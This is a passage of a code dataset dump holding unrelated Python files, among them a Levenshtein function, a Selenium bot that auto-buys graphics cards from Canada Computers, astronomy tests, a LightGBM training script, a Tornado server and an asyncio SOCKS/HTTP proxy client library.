1/b1-b.py","file_name":"b1-b.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"469991870","text":"#!/usr/bin/python3\n\ndef levenshtein(word1, word2):\n word1Length = len(word1)\n word2Length = len(word2)\n if word1Length == 0:\n return word2Length\n elif word2Length == 0:\n return word1Length\n else:\n d = []\n for i in range(word1Length + 1):\n d.append((word2Length + 1) * [0])\n d[i][0] = i\n\n\n for j in range(word2Length + 1):\n d[0][j] = j\n\n for i in range(1,word1Length + 1):\n for j in range(1,word2Length + 1):\n if word1[i - 1] == word2[j - 1]:\n substitutionCost = 0\n else:\n substitutionCost = 1\n d[i][j] = min(d[i - 1][j] + 1, d[i][j - 1] + 1, d[i - 1][j - 1] + substitutionCost)\n\n return d[word1Length][word2Length]\n","sub_path":"levenshtein.py","file_name":"levenshtein.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"316202888","text":"from bs4 import BeautifulSoup as soup\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport os\nimport sys\n\nfrom discord import Webhook, RequestsWebhookAdapter\nimport discord\nimport datetime\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nmy_url = 'https://www.canadacomputers.com/index.php?cPath=43&sf=:3_3,3_5,3_7,3_8,3_9&mfr=&pr=500-1000'\nmy_url2 = 'https://www.facebook.com/CanadaComputers/'\nmy_url3 = 'https://www.canadacomputers.com/index.php?cPath=43&sf=:2_1&mfr=&pr=50-74.99'\ntest_url = 'https://www.canadacomputers.com/search/results_details.php?language=en&keywords=Asus+GeForce+GT+1030+LP+2GB'\n\nhouse_num = os.getenv('TEST_HOUSE_NUMBER')\nstreet_name = os.getenv('TEST_STREET_NAME')\npostal_code = os.getenv('TEST_POSTAL_CODE')\n\ncholder_name = os.getenv('TEST_CHOLDER_NAME')\ncard_number = os.getenv('TEST_CARD_NUMBER')\ncard_expiry = os.getenv('TEST_CARD_EXPIRY')\ncard_ccv = os.getenv('TEST_CARD_CCV')\n\nurls = []\n\n# Initiate Webhook for Discord\ndef create_webhook():\n wHook = os.getenv('NVIDIA_WEBHOOK_CC')\n webhook = Webhook.from_url(wHook, adapter=RequestsWebhookAdapter())\n return webhook\n\n# Initiate Chrome Driver\ndef create_driver():\n op = webdriver.ChromeOptions()\n #op.add_argument('headless')\n driver = webdriver.Chrome(options=op)\n return driver\n\n# Initiate Bot\ndef bot(driver, webhook):\n driver.maximize_window() # Maximize chrome window, disable it if using chrome headless\n\n # Launch CC Website in the Login Page, Accept Cookies and Login\n driver.get('https://www.canadacomputers.com/login.php')\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, \"privacy-btn\"))).click()\n driver.find_element_by_id(\"lo-username\").send_keys(os.getenv(\"CC_USERNAME\"))\n time.sleep(1)\n driver.find_element_by_id(\"lo-password\").send_keys(os.getenv(\"CC_PASS\"))\n time.sleep(1)\n WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, \"btn-login\"))).click()\n\n time.sleep(2)\n\n # Infinite loop to keep checking for available items\n while 1:\n pause = 1\n driver.get(my_url3)\n last_height = driver.execute_script(\"return document.body.scrollHeight\")\n\n # Scroll down on the products page to load all items\n while True:\n # Scroll down to bottom\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n\n # Wait to load page\n time.sleep(pause)\n\n # Calculate new scroll height and compare with last scroll height\n new_height = driver.execute_script(\"return document.body.scrollHeight\")\n if new_height == last_height:\n #time.sleep(10)\n page_html = driver.execute_script(\"return document.getElementsByTagName('html')[0].innerHTML\")\n break\n last_height = new_height\n\n # Get products page html and convert to soup\n page_soup = soup(page_html, \"lxml\")\n\n # Get a list of products from the products page\n product_list = page_soup.findAll(\"div\", {\"class\": \"col-xl-3 col-lg-4 col-6 mt-0_5 px-0_5 toggleBox mb-1\"})\n\n # If no products available, stop bot and notify discord channel\n if(len(product_list) == 0):\n webhook.send(\"Website not responding\")\n sys.exit()\n\n print(len(product_list))\n\n # Loop through each product in the list\n for product in product_list:\n\n # Get all product information (Name, Price, Image, ImageURL, etc)\n bar = product.find(\"div\", {\"class\": \"col-12 allInfoSearch\"})\n info = product.find(\"div\", {\"class\": \"col-12 productImageDesc\"})\n nameSearch = info.find(\"div\", {\"class\": \"px-0 col-12 productInfoSearch pt-2\"})\n priceSearch = nameSearch.find(\"span\", {\"class\": \"d-block mb-0 pq-hdr-product_price line-height\"})\n name = nameSearch.span.text.strip()\n price = priceSearch.strong.text.strip()\n imageSearch = product.find(\"img\", {\"class\": \"pq-img-manu_logo align-self-center\"})\n imageURL = imageSearch['src']\n\n # Check if product in stock\n stock = bar.find(\"div\", {\"class\": \"mt-auto\"})\n button = stock.find(\"button\", {\"class\": \"btn btn-primary text-center mb-1 mt-2 rounded-0 position-relative\"})\n\n # If in stock, Add to Cart should be available\n if button.text.strip() == \"Add to Cart\":\n\n # Send Discord Embed to Channel through Webhook\n # e = discord.Embed(title=name, url=product.a['href'])\n # e.set_image(url=imageURL)\n # e.add_field(name=\"Product Link\", value=product.a['href'])\n # e.add_field(name=\"Price\", value=price)\n # e.timestamp = datetime.datetime.utcnow()\n # webhook.send(embed=e)\n\n # Initiate Card Buying Process\n buy_card(driver, webhook, product.a['href'], price)\n time.sleep(5)\n #sys.exit()\n\n link = product.a['href']\n urls.append(link)\n\n time.sleep(20)\n driver.refresh() # Check for new products every 20 seconds\n\n\n# Method for buying a card\ndef buy_card(driver, webhook, url, price):\n\n # Go to product page\n driver.get(url)\n\n # Get product page html and convert to soup and get product availability\n page_html = driver.execute_script(\"return document.getElementsByTagName('html')[0].innerHTML\")\n page_soup = soup(page_html, \"lxml\")\n product_availability = page_soup.find(\"p\", {\"id\": \"storeinfo\"})\n\n # Check if product is available\n if (product_availability.text.strip() != \"Out of stockat (All Locations)NO AVAILABLE items ONLINE\"):\n\n # Get the locations the product is available at\n product_location = page_soup.find(\"p\", {\"id\": \"asofinfo\"})\n\n # Check if product is available in any preferred locations and add to cart if true\n if (product_location.text.strip() == \"at Midtown Toronto, ON\"\n or product_location.text.strip() == \"at Mississauga, ON\"\n or product_location.text.strip() == \"at Midtown Toronto, ON\"\n or product_location.text.strip() == \"at ONLINE\"\n or product_location.text.strip() == \"at Etobicoke, ON\"\n or product_location.text.strip() == \"at Oakville, ON\"\n or product_location.text.strip() == \"at Burlington, ON\"\n or product_location.text.strip() == \"at Hamilton, ON\"\n or product_location.text.strip() == \"at Markham, ON\"\n or product_location.text.strip() == \"at Scarborough, ON\"\n or product_location.text.strip() == \"at Vaughan, ON\"\n or product_location.text.strip() == \"at Whitby, ON\"\n or product_location.text.strip() == \"at Oshawa, ON\"\n or product_location.text.strip() == \"at North York, ON\"\n or product_location.text.strip() == \"at Ajax, ON\"\n or product_location.text.strip() == \"at Brampton, ON\"\n or product_location.text.strip() == \"at Richmond Hill, ON\"\n or product_location.text.strip() == \"at Downtown Toronto, ON\"\n or product_location.text.strip() == \"at Waterloo, ON\"\n or product_location.text.strip() == \"\"):\n\n try:\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, \"btn-addCart\")))\n driver.find_element_by_id(\"btn-addCart\").click()\n time.sleep(5)\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, \"btn-checkout\")))\n driver.find_element_by_id(\"btn-checkout\").click()\n time.sleep(2)\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, \"lo-username\")))\n driver.find_element_by_id(\"lo-username\").send_keys(os.getenv(\"CC_USERNAME\"))\n time.sleep(1)\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, \"lo-password\")))\n driver.find_element_by_id(\"lo-password\").send_keys(os.getenv(\"CC_PASS\"))\n time.sleep(1)\n driver.find_element_by_id(\"cm-btn-login\").click()\n time.sleep(2)\n except:\n print(\"Card no longer available\")\n webhook.send(\"Card no longer available\")\n return\n\n WebDriverWait(driver, 100).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"#cart > div > div.col-lg-3.col-md-4.pt-2.pt-md-0 > div > h2:nth-child(7) > strong > span\")))\n # Check if product price is same as checkout price (This prevents from checking out with unwanted products in the cart)\n if driver.find_element_by_css_selector(\"#cart > div > div.col-lg-3.col-md-4.pt-2.pt-md-0 > div > h2:nth-child(7) > strong > span\").text.strip() == price:\n\n # Click Proceed to Checkout button\n WebDriverWait(driver, 100).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"button[class='btn bg-green text-white font-1 text-center f-500 py-1']\")))\n driver.find_element_by_css_selector(\"button[class='btn bg-green text-white font-1 text-center f-500 py-1']\").click()\n time.sleep(2)\n\n WebDriverWait(driver, 100).until(EC.presence_of_element_located((By.XPATH, \"/html/body/div[1]/div[2]/form/div[1]/div[1]/div[1]/div[1]/input\")))\n # Check if online purchase is enabled and initiate the purchase if True\n if driver.find_element_by_xpath(\"/html/body/div[1]/div[2]/form/div[1]/div[1]/div[1]/div[1]/input\").is_enabled():\n online_purchase(driver, webhook)\n return\n\n # If online purchase is disabled and only in store pick up is available, initiate the purchase if True\n if (driver.find_element_by_xpath(\"/html/body/div[1]/div[2]/form/div[1]/div[1]/div[1]/div[1]/input\").is_enabled() == False\n and driver.find_element_by_xpath(\"/html/body/div[1]/div[2]/form/div[1]/div[1]/div[1]/div[2]/input\").is_enabled()):\n\n store_pickup(driver, webhook)\n return\n\n # If product not available in preferred stores\n else:\n webhook.send(\"Card not available online or in preferred stores\")\n\n# Method for online purchase\ndef online_purchase(driver, webhook):\n\n # Try to start the checkout process\n try:\n # Checkout Shipping\n print(\"Checkout shipping\")\n driver.find_element_by_name(\"checkout_shipping\").send_keys(Keys.ENTER)\n time.sleep(10)\n\n # Checkout Shipping Options\n print(\"Checkout Shipping Option\")\n WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, \"/html/body/div[1]/div/form/div[3]/div/button[2]\"))).click()\n\n # Payment Method\n print(\"Checkout Payment\")\n driver.find_element_by_name(\"checkout_payment\").send_keys(Keys.ENTER)\n time.sleep(5)\n\n # Confirm/Review Checkout\n print(\"Checkout confirmation\")\n driver.find_element_by_name(\"checkout_confirmation\").send_keys(Keys.ENTER)\n time.sleep(2)\n\n # Enter Payment Details\n print(\"Entering Card Details\")\n driver.find_element_by_xpath(\"/html/body/div[1]/main/div/div[4]/div[3]/div[2]/p[1]/input\").send_keys(house_num)\n time.sleep(1)\n driver.find_element_by_xpath(\"/html/body/div[1]/main/div/div[4]/div[3]/div[2]/p[2]/input\").send_keys(street_name)\n time.sleep(1)\n driver.find_element_by_xpath(\"/html/body/div[1]/main/div/div[4]/div[3]/p[3]/input\").send_keys(postal_code)\n time.sleep(1)\n\n driver.find_element_by_xpath(\"/html/body/div[1]/main/div/div[4]/div[3]/div[7]/p[1]/input\").send_keys(cholder_name)\n #time.sleep(1)\n driver.find_element_by_xpath(\"/html/body/div[1]/main/div/div[4]/div[3]/div[7]/p[2]/input\").send_keys(card_number)\n #time.sleep(1)\n driver.find_element_by_xpath(\"/html/body/div[1]/main/div/div[4]/div[3]/div[7]/p[3]/input\").send_keys(card_expiry)\n #time.sleep(1)\n driver.find_element_by_xpath(\"/html/body/div[1]/main/div/div[4]/div[3]/div[7]/p[4]/input\").send_keys(card_ccv)\n time.sleep(2)\n driver.find_element_by_xpath(\"/html/body/div[1]/main/div/div[4]/div[3]/div[10]/div[1]/input\").click()\n time.sleep(5)\n\n if driver.find_element_by_id('error_box'):\n print(\"Card Purchase Error\")\n sys.exit()\n\n else:\n print(\"Card Purchased\")\n sys.exit()\n #sys.exit()\n\n except:\n #webhook.send(\"Card Purchase Failed\")\n #clear_cart()\n sys.exit()\n\n\ndef store_pickup(driver, webhook):\n\n try:\n driver.find_element_by_xpath(\"/html/body/div[1]/div[2]/form/div[1]/div[1]/div[1]/div[2]/input\").click()\n page_html = driver.execute_script(\"return document.getElementsByTagName('html')[0].innerHTML\")\n page_soup = soup(page_html, \"lxml\")\n locations = page_soup.findAll(\"div\", {\"class\": \"col-sm-4\"})\n\n for location in locations:\n if (location.div.input['data-store-name'] == \"Mississauga\"\n or location.div.input['data-store-name'] == \"Midtown Toronto\"\n or location.div.input['data-store-name'] == \"Etobicoke\"\n or location.div.input['data-store-name'] == \"Oakville\"\n or location.div.input['data-store-name'] == \"Burlington\"\n or location.div.input['data-store-name'] == \"Hamilton\"\n or location.div.input['data-store-name'] == \"Markham\"\n or location.div.input['data-store-name'] == \"Scarborough\"\n or location.div.input['data-store-name'] == \"Vaughan\"\n or location.div.input['data-store-name'] == \"Whitby\"\n or location.div.input['data-store-name'] == \"Oshawa\"\n or location.div.input['data-store-name'] == \"North York\"\n or location.div.input['data-store-name'] == \"Ajax\"\n or location.div.input['data-store-name'] == \"Brampton\"\n or location.div.input['data-store-name'] == \"Richmond Hill\"\n or location.div.input['data-store-name'] == \"Downtown Toronto\"\n or location.div.input['data-store-name'] == \"Waterloo\"\n or location.div.input['data-store-name'] == \"\"):\n print(location.div.input['data-store-name'])\n driver.find_element_by_id(location.div.input['id']).click()\n time.sleep(1)\n\n driver.find_element_by_name(\"checkout_shipping\").send_keys(Keys.ENTER)\n time.sleep(10)\n driver.find_element_by_name(\"checkout_payment\").send_keys(Keys.ENTER)\n time.sleep(10)\n # ACTIVATE CHECKOUT BY REMOVING THE COMMENTS BELOW\n # driver.find_element_by_name(\"checkout_confirmation\").send_keys(Keys.ENTER)\n # time.sleep(2)\n webhook.send(\"Card Purchased\")\n sys.exit()\n\n except:\n print(\"Card Purchase Failed\")\n\n\ndef clear_cart():\n driver.get('https://www.canadacomputers.com/shopping_cart.php')\n if driver.find_element_by_css_selector(\"a[class='box-btn text-white my-1 btn_update_cart_quick']\"):\n WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CSS_SELECTOR, \"a[class='box-btn text-white my-1 btn_update_cart_quick']\"))).click()\n\nif __name__ == '__main__':\n driver = create_driver()\n webhook = create_webhook()\n bot(driver, webhook)\n","sub_path":"Canada Computers/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":16006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"33891415","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\nfrom __future__ import absolute_import, division, print_function, unicode_literals\nfrom numpy.testing import assert_allclose\nfrom astropy.tests.helper import pytest\nfrom astropy.coordinates import SkyCoord\nimport astropy.units as u\nfrom regions import CircleSkyRegion\nfrom ...data import DataStore, ObservationList, ObservationStats, Target\nfrom ...utils.testing import requires_data, requires_dependency\nfrom ...background import reflected_regions_background_estimate as refl\nfrom ...image import SkyMask\n\n\n@requires_data('gammapy-extra')\ndef get_obs_list():\n data_store = DataStore.from_dir('$GAMMAPY_EXTRA/datasets/hess-crab4-hd-hap-prod2/')\n run_list = [23523, 23526]\n obs_list = ObservationList([data_store.obs(_) for _ in run_list])\n return obs_list\n\n\n@requires_data('gammapy-extra')\ndef get_obs(id):\n obs_list = get_obs_list()\n for run in obs_list:\n if run.obs_id == id:\n return run\n\n\n@pytest.fixture\ndef target():\n pos = SkyCoord(83.63 * u.deg, 22.01 * u.deg)\n on_size = 0.3 * u.deg\n on_region = CircleSkyRegion(pos, on_size)\n\n target = Target(position=pos,\n on_region=on_region,\n name='Crab Nebula',\n tag='crab')\n return target\n\n\n@requires_data('gammapy-extra')\n@pytest.fixture\ndef get_mask():\n mask = SkyMask.read('$GAMMAPY_EXTRA/datasets/exclusion_masks/tevcat_exclusion.fits')\n return mask\n\n\n@requires_data('gammapy-extra')\n@requires_dependency('scipy')\ndef test_str(target):\n run = get_obs(23523)\n bg = refl(target.on_region,\n run.pointing_radec, get_mask(), run.events)\n stats = ObservationStats.from_target(run, target, bg)\n text = str(stats)\n assert 'Observation summary report' in text\n\n\n@requires_data('gammapy-extra')\n@requires_dependency('scipy')\ndef test_stack(target):\n obs_list = get_obs_list()\n obs_stats = list()\n for run in obs_list:\n bg = refl(target.on_region,\n run.pointing_radec, get_mask(), run.events)\n obs_stats.append(ObservationStats.from_target(run, target, bg))\n sum_obs_stats = ObservationStats.stack(obs_stats)\n assert_allclose(sum_obs_stats.alpha, 0.284, rtol=1e-2)\n assert_allclose(sum_obs_stats.sigma, 23.5757575757, rtol=1e-3)\n","sub_path":"gammapy/data/tests/test_obs_stats.py","file_name":"test_obs_stats.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"479204001","text":"import setuptools\nimport qucumber\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name='qucumber',\n version=qucumber.__version__,\n description='Neural network quantum state tomography.',\n long_description=long_description,\n long_description_content_type='text/markdown',\n classifiers=[\n 'License :: OSI Approved :: Apache Software License',\n 'Programming Language :: Python :: 3',\n 'Operating System :: OS Independent'\n ],\n install_requires=[\n 'torch',\n 'tqdm',\n 'numpy'\n ],\n include_package_data=True,\n url='http://github.com/MelkoCollective/QuCumber',\n author='PIQuIL',\n author_email='piquildbeets@gmail.com',\n license='Apache License 2.0',\n packages=setuptools.find_packages(),\n zip_safe=False\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"504528422","text":"#!/usr/bin/env python3\n# coding=utf-8\n\nimport sys\n\nfrom utilidades.ficheros.ProcesadorPDF import ProcesadorPDF\n\nprocesador=ProcesadorPDF()\nfich_txt=procesador.abrir_fichero_txt ( sys.argv[1] )\n\nlinea_actual=\"\"\nwhile not procesador.eof():\n linea_actual=procesador.get_linea_actual()\n mitad_linea=linea_actual[:20]\n (ini_centro, fin_centro, cod_centro)=procesador.linea_contiene_patron(\n procesador.expr_regular_codigo_centro_sin_c, mitad_linea\n )\n especialidad=\"0597\"+linea_actual[83:100].strip()\n if cod_centro!=procesador.PATRON_NO_ENCONTRADO:\n procesador.siguiente_linea()\n salir=False\n while not salir:\n #print (\"Buscando dnis\")\n procesador.siguiente_linea()\n if procesador.eof():\n break\n linea_actual=procesador.get_linea_actual()\n mitad_linea=linea_actual[:20]\n (ini_centro, fin_centro, otro_centro)=procesador.linea_contiene_patron(\n procesador.expr_regular_codigo_centro_sin_c, mitad_linea\n )\n if otro_centro!=procesador.PATRON_NO_ENCONTRADO:\n procesador.retroceder_linea()\n salir=True\n else:\n (ini_dni, fin_dni, dni)=procesador.linea_contiene_patron(\n procesador.expr_regular_dni, linea_actual\n )\n if dni!=procesador.PATRON_NO_ENCONTRADO:\n nombre=linea_actual[:ini_dni-1].strip()\n elementos=[dni,nombre, \"OBTIENE PLAZA\", especialidad,\n \"x\", \"x\", \"x\", \"x\", cod_centro, \"x\", \"x\", \"x\"]\n print (\":\".join(elementos))\n procesador.siguiente_linea()","sub_path":"cgts/adjudicacion/procesar_maestros.py","file_name":"procesar_maestros.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"282643593","text":"import sys\nimport os\nfrom datetime import date\nfrom pathlib import Path\nfrom collections import defaultdict\n\nimport pandas as pd\nimport numpy as np\nimport lightgbm as lgb\nimport joblib\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import mean_absolute_error\n\nfrom features import feature_engineering, POLICY_FIXED_CATEGORICALS, EXTRA_CATEGORICALS\nfrom config import KFOLD_SEED, KFOLD_N\n\nMEMORY = joblib.Memory(cachedir=\"cache/\")\nOUT_DIR = Path(\"cache/single/\")\nOUT_DIR.mkdir(exist_ok=True)\nSEED = int(os.environ.get(\"SEED\", 123))\n\n\ndef fit_and_predict(df_train, df_test, params={}, verbose=True, n_best_features=50):\n importances = sorted(\n joblib.load(\"cache/simple_importance.pkl\").items(),\n key=lambda x: x[1], reverse=True\n )\n feature_names = [x[0] for x in importances[:n_best_features]]\n kf = KFold(n_splits=KFOLD_N, random_state=KFOLD_SEED, shuffle=True)\n param_ = {\n 'task': 'train',\n 'boosting_type': 'gbdt',\n 'objective': 'regression_l1',\n 'feature_fraction': 0.85,\n 'bagging_fraction': 0.9,\n 'learning_rate': 0.03,\n 'bagging_freq': 1,\n 'min_data_in_leaf': 100,\n 'max_depth': 8,\n 'num_threads': 8,\n 'seed': SEED,\n 'num_leaves': 12,\n 'cat_l2': 10,\n 'lambda_l1': 0,\n 'lambda_l2': 0.5\n }\n param_.update(params)\n val_losses = []\n val_pred_dfs = []\n test_preds = []\n global_importance = defaultdict(int)\n categorical_features = list(set(\n POLICY_FIXED_CATEGORICALS + EXTRA_CATEGORICALS).intersection(set(feature_names)))\n for i, (train_index, val_index) in enumerate(kf.split(df_train)):\n print(\"-\" * 20)\n print(f\"Fold {i+1}\")\n print(\"-\" * 20)\n train_data = lgb.Dataset(\n df_train.iloc[train_index][feature_names],\n label=df_train.Next_Premium.iloc[train_index],\n categorical_feature=categorical_features\n )\n valid_data = lgb.Dataset(\n df_train.iloc[val_index][feature_names],\n label=df_train.Next_Premium.iloc[val_index],\n categorical_feature=categorical_features,\n reference=train_data\n )\n model = lgb.train(\n param_,\n train_data,\n 50000,\n valid_sets=[train_data, valid_data],\n early_stopping_rounds=200,\n verbose_eval=200\n )\n importances = [(\"%s: %.2f\" % x) for x in sorted(\n zip(feature_names, model.feature_importance(\"gain\")),\n key=lambda x: x[1], reverse=True\n )]\n for name, val in zip(feature_names, model.feature_importance(\"gain\")):\n global_importance[name] += val\n if verbose:\n print(\"-\" * 20)\n print(\"\\n\".join(importances[:50]))\n print(\"=\" * 20)\n with open(f\"cache/importance_{i}.txt\", \"w\") as fw:\n fw.write(\"\\n\".join(importances))\n test_preds.append(model.predict(\n df_test[feature_names], num_iteration=model.best_iteration\n ))\n val_pred = model.predict(\n df_train.iloc[val_index][feature_names],\n num_iteration=model.best_iteration\n )\n val_losses.append(\n mean_absolute_error(\n df_train.Next_Premium.iloc[val_index],\n val_pred\n )\n )\n val_pred_dfs.append(pd.DataFrame(\n {\"Next_Premium\": val_pred}, index=val_index))\n print(\"Fold Val Loss: {:.4f}\".format(val_losses[-1]))\n print(\"Val losses: {:.2f} +- {:.2f}\".format(\n np.mean(val_losses), np.std(val_losses)))\n df_val_preds = pd.concat(val_pred_dfs, axis=0).sort_index()\n name = \"lgb_truncate_{}_{:.2f}\".format(\n date.today().strftime(\"%m%d\"), np.mean(val_losses)\n )\n df_val_preds.to_pickle(OUT_DIR / (name + \".pd\"))\n joblib.dump(np.mean(test_preds, axis=0), OUT_DIR / (name + \".pkl\"))\n df_val_preds.to_pickle(\"cache/truncate_val.pd\")\n joblib.dump(np.mean(test_preds, axis=0), \"cache/truncate_test.pkl\")\n joblib.dump(global_importance, \"cache/truncate_importance.pkl\")\n return np.mean(val_losses)\n\n\ndef main():\n df_train = pd.read_csv(\"data/training-set.csv\")\n df_test = pd.read_csv(\"data/testing-set.csv\").drop(\n \"Next_Premium\", axis=1)\n df_features = feature_engineering(df_train, df_test)\n # print(\"\\nFeatures:\")\n # print(df_features.sample(10))\n\n df_train = df_train.set_index(\"Policy_Number\").join(df_features)\n df_test = df_test.set_index(\"Policy_Number\").join(df_features)\n del df_train[\"index\"]\n del df_test[\"index\"]\n\n fit_and_predict(df_train, df_test, n_best_features=int(sys.argv[1]))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"truncate_lgb.py","file_name":"truncate_lgb.py","file_ext":"py","file_size_in_byte":4735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"412205435","text":"import mongoengine\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.web\nimport tornado.options\n\nimport settings\nfrom handlers import *\n\n\nclass Application(tornado.web.Application):\n def __init__(self):\n handlers = [\n (r'/', IndexHandler),\n (r'/post/detail/([-\\w]+)(/?)', PostDetailHandler),\n (r'/login/', LoginHandler),\n (r'/logout/', LogoutHandler)\n ]\n\n server_settings = {\n 'debug': settings.DEBUG,\n 'title': settings.TITLE,\n 'template_path': settings.TEMPLATE_PATH,\n 'static_path': settings.STATIC_PATH,\n 'cookie_secret': settings.COOKIE_SECRET,\n 'login_url': '/login/',\n 'xsrf_cookies': True,\n 'autoescape': None\n }\n\n tornado.web.Application.__init__(self, handlers, **server_settings)\n mongoengine.connect(**settings.DATABASE)\n\n\nif __name__ == '__main__':\n if settings.DEBUG:\n tornado.options.parse_command_line()\n\n httpserver = tornado.httpserver.HTTPServer(Application())\n httpserver.listen(settings.PORT)\n print(\"Listening, http://127.0.0.1:%s\" % settings.PORT)\n\n tornado.ioloop.IOLoop.instance().start()\n","sub_path":"runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"329338110","text":"#! /usr/bin/env python\n# -*- coding: UTF-8 -*-\nimport os\nimport time\nimport unittest\nfrom utx.BSTestRunner import BSTestRunner\n\n\nclass TestRunner:\n def run_test(self, path=\"testcase\", title='接口自动化测试报告'):\n if not os.path.exists(\"report\"):\n os.mkdir(\"report\")\n\n report_file = r\"report\\report-{}.html\".format(time.strftime(\"%Y-%m-%d-%H-%M-%S\", time.localtime(time.time())))\n\n suite = unittest.TestLoader().discover(path)\n with open(report_file, \"wb\") as f:\n runner = BSTestRunner(stream=f, title=title)\n runner.run(suite)\n\n print(\"测试完成,请查看报告\")\n os.system(\"start report\")\n","sub_path":"utx/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"342883829","text":"import asyncio\nimport sys\n\nimport async_timeout\n\nfrom ._errors import ProxyConnectionError, ProxyTimeoutError\nfrom ._proxy_async import (\n AsyncProxy,\n Socks4ProxyNegotiator,\n Socks5ProxyNegotiator,\n HttpProxyNegotiator\n)\nfrom ._proxy_factory import ProxyFactory\nfrom ._types import ProxyType\nfrom ._stream_async_aio import AsyncioSocketStream\n\nDEFAULT_TIMEOUT = 60\n\n\nclass AsyncioProxyConnection(AsyncProxy):\n def __init__(self, proxy_host, proxy_port,\n loop: asyncio.AbstractEventLoop = None):\n\n if loop is None:\n loop = asyncio.get_event_loop()\n\n self._loop = loop\n\n self._proxy_host = proxy_host\n self._proxy_port = proxy_port\n\n self._dest_host = None\n self._dest_port = None\n self._timeout = None\n\n self._stream = AsyncioSocketStream(loop=loop)\n\n async def connect(self, dest_host, dest_port, timeout=None, _socket=None):\n if timeout is None:\n timeout = DEFAULT_TIMEOUT\n\n self._dest_host = dest_host\n self._dest_port = dest_port\n self._timeout = timeout\n\n try:\n await self._connect(_socket=_socket)\n except asyncio.TimeoutError as e:\n raise ProxyTimeoutError(\n 'Proxy connection timed out: %s'\n % self._timeout) from e\n\n return self._stream.socket\n\n async def _connect(self, _socket=None):\n async with async_timeout.timeout(self._timeout):\n try:\n await self._stream.open_connection(\n host=self._proxy_host,\n port=self._proxy_port,\n timeout=self._timeout,\n _socket=_socket\n )\n except OSError as e:\n await self._stream.close()\n msg = ('Can not connect to proxy %s:%s [%s]' %\n (self._proxy_host, self._proxy_port, e.strerror))\n raise ProxyConnectionError(e.errno, msg) from e\n except Exception: # pragma: no cover\n await self._stream.close()\n raise\n\n try:\n await self.negotiate()\n except asyncio.CancelledError: # pragma: no cover\n # https://bugs.python.org/issue30064\n # https://bugs.python.org/issue34795\n if self._can_be_closed_safely():\n await self._stream.close()\n raise\n except Exception:\n await self._stream.close()\n raise\n\n def _can_be_closed_safely(self): # pragma: no cover\n def is_proactor_event_loop():\n try:\n from asyncio import ProactorEventLoop # noqa\n except ImportError:\n return False\n return isinstance(self._loop, ProactorEventLoop)\n\n def is_uvloop_event_loop():\n try:\n from uvloop import Loop # noqa\n except ImportError:\n return False\n return isinstance(self._loop, Loop)\n\n return (sys.version_info[:2] >= (3, 8)\n or is_proactor_event_loop()\n or is_uvloop_event_loop())\n\n async def negotiate(self):\n raise NotImplementedError() # pragma: no cover\n\n @property\n def proxy_host(self):\n return self._proxy_host\n\n @property\n def proxy_port(self):\n return self._proxy_port\n\n\nclass Socks5Proxy(Socks5ProxyNegotiator, AsyncioProxyConnection):\n def __init__(self, proxy_host, proxy_port,\n username=None, password=None, rdns=None,\n loop: asyncio.AbstractEventLoop = None):\n super().__init__(proxy_host=proxy_host, proxy_port=proxy_port,\n loop=loop)\n self._username = username\n self._password = password\n self._rdns = rdns\n\n\nclass Socks4Proxy(Socks4ProxyNegotiator, AsyncioProxyConnection):\n def __init__(self, proxy_host, proxy_port,\n user_id=None, rdns=None,\n loop: asyncio.AbstractEventLoop = None):\n super().__init__(proxy_host=proxy_host, proxy_port=proxy_port,\n loop=loop)\n self._user_id = user_id\n self._rdns = rdns\n\n\nclass HttpProxy(HttpProxyNegotiator, AsyncioProxyConnection):\n def __init__(self, proxy_host, proxy_port,\n username=None, password=None,\n loop: asyncio.AbstractEventLoop = None):\n super().__init__(proxy_host=proxy_host, proxy_port=proxy_port,\n loop=loop)\n self._username = username\n self._password = password\n\n\nclass Proxy(ProxyFactory):\n types = {\n ProxyType.SOCKS4: Socks4Proxy,\n ProxyType.SOCKS5: Socks5Proxy,\n ProxyType.HTTP: HttpProxy,\n 